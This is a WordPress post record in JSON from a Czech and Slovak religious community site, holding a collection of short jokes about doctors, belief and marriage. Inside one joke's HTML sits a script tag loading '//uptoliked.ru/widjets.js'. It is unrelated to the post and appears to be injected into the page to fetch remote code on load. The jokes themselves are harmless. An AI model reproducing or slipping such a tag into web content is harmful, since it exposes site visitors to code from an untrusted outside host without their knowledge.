{"id":1052,"date":"2008-10-09T06:27:41","date_gmt":"2008-10-09T05:27:41","guid":{"rendered":"http:\/\/www.velehrad.org\/?p=1052"},"modified":"2010-04-18T09:36:07","modified_gmt":"2010-04-18T08:36:07","slug":"zasmejme-sa-obvykla-porce-humoru-2","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=1052","title":{"rendered":"Vesel\u00fd \u010dlovek\u2026 aneb sm\u00edch prodlu\u017euje \u017eivot\u2026"},"content":{"rendered":"<p class=\"MsoNormal\" style=\"margin: 0in -12pt 0pt 0in;\"><span style=\"font-size: 8pt; color: #000000; font-family: Arial; mso-ansi-language: SK;\">ngg_shortcode_0_placeholder<\/span><\/p>\n<p><span style=\"color: #999999;\">&#8211; \u010clove\u010de, vy m\u00e1te ale pomal\u00fd tep!&#8220;<br \/>\n&#8211; &#8222;Vy sa niekam pon\u00e1h\u013eate, p\u00e1n doktor?&#8220;<\/span><\/p>\n<p><span style=\"color: #999999;\">&#8230;&#8230;&#8230;&#8230;<\/span><\/p>\n<p><span style=\"color: #999999;\">\u2013 Jste v\u011b\u0159\u00edc\u00ed?<br \/>\n\u2013 Ne, jsem ateista.<br \/>\n\u2013 Opravdu?<br \/>\n\u2013 Jako \u017ee B\u016fh je nade mnou!<\/span><\/p>\n<p><span style=\"color: #999999;\">&#8230;&#8230;&#8230;&#8230;<\/span><\/p>\n<p><span style=\"color: #999999;\">\u00a0<\/span><\/p>\n<p><span style=\"color: #999999;\">&#8211; &#8222;P\u00e1n doktor, tomu pacientovi na osmi\u010dke sa polep\u0161ilo &#8211; u\u017e rozpr\u00e1va!&#8220;<br \/>\n&#8211; &#8222;A \u010do hovor\u00ed?&#8220;<br \/>\n&#8211; &#8222;\u017de je mu hor\u0161ie&#8230;&#8220;<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/span><\/p>\n<p><span style=\"color: #999999;\">&#8230;&#8230;&#8230;..<\/span><\/p>\n<p><span style=\"color: #999999;\">\u00a0V\u010dera jsme se s man\u017eelkou poh\u00e1dali, ale stejn\u011b jsem m\u011bl posledn\u00ed slovo j\u00e1.\u00a0<br \/>\n&#8211; A cos j\u00ed \u0159ekl?<br \/>\n-Tak si to teda kup!<\/span><\/p>\n<p><span style=\"color: #999999;\">&#8230;&#8230;&#8230;..<\/span><\/p>\n<p><span style=\"color: #999999;\">&#8211; Pred n\u00e1stupom vojenskej jednotky za\u010dalo pr\u0161a\u0165. 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